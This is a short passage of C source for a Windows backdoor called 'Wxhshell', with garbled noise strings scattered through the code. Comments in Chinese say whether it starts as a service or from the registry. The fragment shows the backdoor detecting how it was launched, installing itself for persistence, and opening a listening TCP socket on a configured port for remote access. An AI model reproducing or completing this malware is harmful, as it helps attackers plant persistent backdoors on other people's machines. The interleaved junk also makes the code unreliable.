w[5 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o!h::j0,~ X_-/j. CloseHandle(hProcess); IrRy1][Qr "T /$K if(strstr(procName,"services")) return 1; // 以服务启动 y+B iaD!U 9*j"@Rm return 0; // 注册表启动 )X#$G?|Hn } uq6>K/~D qK;J:GT> // 主模块 M GC=L . int StartWxhshell(LPSTR lpCmdLine) 9Q(Lnu { :Hitx SOCKET wsl; xs6!NY BOOL val=TRUE; -d!84_d9 int port=0; 6@0?~ struct sockaddr_in door; IH*G7; te;bn4~ if(wscfg.ws_autoins) Install(); clqFV
um PN=0u6 port=atoi(lpCmdLine); nUq@`G 1 h(n}u if(port<=0) port=wscfg.ws_port; ;(E]mbV'= 1|
WDbk WSADATA data; D {E,XOi if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0RdW.rZJ hT=E~|O if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; O:V.;q2]U setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &K |